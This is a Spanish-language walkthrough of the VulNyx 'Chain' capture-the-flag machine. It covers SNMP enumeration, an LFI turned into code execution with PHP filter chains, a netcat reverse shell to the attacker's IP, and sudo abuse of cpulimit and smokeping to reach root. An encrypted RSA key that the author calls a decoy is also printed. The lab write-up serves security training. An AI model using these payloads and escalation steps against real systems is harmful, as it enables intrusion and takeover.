VulNyx - Chain

logo

  • SNMP Enumeration Information Leakage
  • PHP Filter Chain
  • Brute Force su Binary
  • Abuse cpulimit Binary
  • Abuse smokeping Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.43

PORT   STATE SERVICE
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 80 192.168.1.43

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Chain
|_http-server-header: Apache/2.4.56 (Debian)

HTTP - TCP 80

http

Si me descargo la imagen y le paso la herramienta strings se puede apreciar una llave rsa pero se trata de un rabbit_hole.

❯ strings -n 6 chain.png
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,92E78A581F3E1F25
pLzUnqFfRfhNyMnFWUQJj0+h6ctKAR0G83+8TCL7X8H571/20pdIDmQtLVut5Che
n3RZu7O1xq8SK5G6ivVj3JtrijV5M541c90dp6I1V1dkg/+iYIOEich7VXj/uZ8n
RgQRpgAompw4EEC/+Q8WhvPadl/6syW1+UvlZlzV0mAlYQxDVF/PiJDoxt7QBXVF
UQ1Oma+4D/E1EL9PxWYfcqmEZRavN3FdCQ8DNiApBXWRwUkina2G+dkZBkZJhroh
t+YnSTOv/ls+//Xb2xoovj8n3fI6jG7VLCeXY3GuxZTqAkT5yG5iC3qvszeb411f
nlGjkcUTHYLjVC/zuyz01zOJTw0gYiss7eMdl3arOvV1Da0qkov2o1ht1R+gEa/c
COhaYjNoBdFKLzGr7Xf8RfqouIgL8IrIe50q3jar+S5Z5M4D1pKdEWlAUjP2ais7
MUk8hk2gq0IuGEbwDG7JRXOSbbMM4FGYU3Ot4g1eFbjTTYUS91/jGrufUpw9Ec+6
l4K5Ee5uZeIio4rMwcdqinA9rvgfYJiHZ5q9Di/MW9T/7HQVYWCEEXngILpDwVlK
sEwUcqAMCObxYBG0FEc2IV4dnMIDTuRFJoNy9sWifKEnNM1TnBhUyYDZFaJNEiRP
JGT9vmDRqlQYQQvqPmf+uoYkH554OFYEbUhjNgULO7k2NLD0+0i5nU4zVMwg1Btc
SjBLIMmyYpj5RT/U8DZiefCWbyYCkz6BwyvGiUBGlGIbWTM5fCajqOhUSsh0616C
xCOuftFjPI4AaRTEb+hSQAvKq6ePvw6ErmrUJK2xOMW6U6CLTbWXhRJ3grR7MXUV
BWZyrPHRntGiLNqX+ZH/M7JRZegvY2uhMPmPeq7hH9x/UqIghvYilKEqruui4j73
EGiJRBD9h7buEispZoLhXZmgw3XmHqOPC+oCK4XCrXqRaOSrN2X/ufyhyLvO+CsK
rMAJnifHZBkUq1HXU1BmEcK4eBPXRq/RZsvKgPiswZjYQOwjx36+rvts6wb5XRyY
l29jefPpaWw7eCZbfA+9Czi2PTpLd2WOKhOl0Lq3kgdZ+NCTkVKCD3Ortbx9UNJZ
aCXj/iaCFBFWcs7JUCW/go1jyucRjAhcPhynD+6QkV7E8i1fgTAEzmhJhybxVlb9
RXiC7qk7LpQM/TMf2VoX7Bt1t/Gx/Afblfz3H6xtCyuMlkCHXdius7z121BzY9D6
PytF26BXw6vM29wOzxkLtX0TT0a+6A2GSiH19qnEcwWqsy6XrYrcIgVtzGyepMPL
ggIxeKc8W32N2wn73zAI7Oa1DyQFlVfF+Ve0ObYKDpIMhwa0q+9q0AwLWDq3SG2m
a1osxjpqh0Puy+XlStMuIN234LupUR6Q/A7UoSbZosIMhBoyLWNH0pYr36kLApcC
YTnAhcvTzAs/jdPSo5Qze6U4G8G0MDRstUEugfvoEoEf+iZkBJEvYlOQc7Sc2vdC
qd+4B2iD0e5kBvUxmiNmTiC+9xP1oi5Z2PR28bcGy7JWj3yQ8ra4YKP1PLbmY1yq
MwqyWhIV0Hv1iSp8iEXWwRX/BuQH5nbHWgkzykGQkEp8c2M2op0CaA==
-----END RSA PRIVATE KEY-----

Después realizar fuerza bruta de directorios y extensiones sin encontrar nada vuelvo a escanear la máquina en búsca de puertos UDP.

❯ nmap -sU --top-ports 100 192.168.1.43

PORT    STATE         SERVICE
161/udp open          snmp

SNMP - UDP 161

Lanzo onesixtyone y encuentro la comunity string security.

❯ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 192.168.1.43
Scanning 1 hosts, 3219 communities
192.168.1.43 [security] Linux chain 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

Con snmpwalk enumero información de la máquina y encuentro el dominio chaincorp.nyx y el usuario blue.

❯ snmpwalk -v2c -c security 192.168.1.43
iso.3.6.1.2.1.1.1.0 = STRING: "Linux chain 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (108255) 0:18:02.55
iso.3.6.1.2.1.1.4.0 = STRING: "Blue <blue@chaincorp.nyx>"
iso.3.6.1.2.1.1.5.0 = STRING: "Chain"
iso.3.6.1.2.1.1.6.0 = STRING: "VulNyx.com"
iso.3.6.1.2.1.1.8.0 = Timeticks: (9) 0:00:00.09
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1

Añado el dominio al archivo hosts y realizo una enumeración de subdominios.

❯ gobuster vhost -u chaincorp.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://chaincorp.nyx
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/08/15 19:53:15 Starting gobuster in VHOST enumeration mode
===============================================================
Found: utils.chaincorp.nyx Status: 200 [Size: 628]

Añado el nuevo subdominio al archivo hosts y al visitar el subdominio veo lo siguiente.

subdomain

Archivo id.php.

id

Archivo ip.php.

ip

Con metodología básica encuentro un LFI.

lfi

Mediante wrappers puedo leer el contenido del archivo include.php y resto de archivos.

❯ curl 'http://utils.chaincorp.nyx/include.php?in=php://filter/convert.base64-encode/resource=include.php'
<pre>
PHByZT4KPD9waHAKICAkZmlsZSA9ICRfR0VUWyJpbiJdOwogIGlmKGlzc2V0KCRmaWxlKSkKICB7CiAgICBpbmNsdWRlKCIkZmlsZSIpOwogIH0KPz4KPC9wcmU+Cg==</pre>

Una vez obtengo la cadena en base64 la decodifico y puedo leer el contenido de include.php.

❯ echo "PHByZT4KPD9waHAKICAkZmlsZSA9ICRfR0VUWyJpbiJdOwogIGlmKGlzc2V0KCRmaWxlKSkKICB7CiAgICBpbmNsdWRlKCIkZmlsZSIpOwogIH0KPz4KPC9wcmU+Cg==" | base64 -d
<pre>
<?php
  $file = $_GET["in"];
  if(isset($file))
  {
    include("$file");
  }
?>
</pre>

Sabiendo esto, existe un método para obtener RCE a partir de un LFI conocida como Filter Chain. Me descargo la herramienta y genero una cadena con el comando ls -la.

chain_g_ls

Copio el churraco, lo pego en el navegador y puedo comprobar que funciona correctamente.

chain_RCE

Al tener ejecución de comandos genero una cadena con los siguientes parámetros.

 ./php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

chain_g_cmd

Al final de la cadena generada, después de php://temp añado el parámetro cmd para que me lanze un netcat a mi equipo.

&cmd=nc%20-c%20/bin/bash%20192.168.1.18%204444

Obtengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.43] 57124
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@chain:/var/www/vhost$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Para pivotar de www-data a blue me descargo la herramienta suForce en la máquia víctima.

suForceBlue

Me conecto como usuario blue y enumero permisos de sudo.

blue@chain:~$ sudo -l
Matching Defaults entries for blue on chain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blue may run the following commands on chain:
    (red) NOPASSWD: /usr/bin/cpulimit

Para pivotar de blue a red he usado este recurso gtfobins.

blue@chain:~$ sudo -u red cpulimit -l 100 -f /bin/bash
red@chain:/home/blue$ id
uid=1001(red) gid=1001(red) grupos=1001(red)

Enumero de nuevo permisos de sudo.

red@chain:~$ sudo -l
Matching Defaults entries for red on chain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User red may run the following commands on chain:
    (root) NOPASSWD: /usr/sbin/smokeping

Para obtener el root uso la flag –man de la herramienta.

red@chain:~$ sudo /usr/sbin/smokeping --man

Escribo !/bin/bash y obtengo el root.

red@chain:~$ sudo /usr/sbin/smokeping --man
You need to install the perl-doc package to use this program.
root@chain:/home/red# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Chain.

Saludos!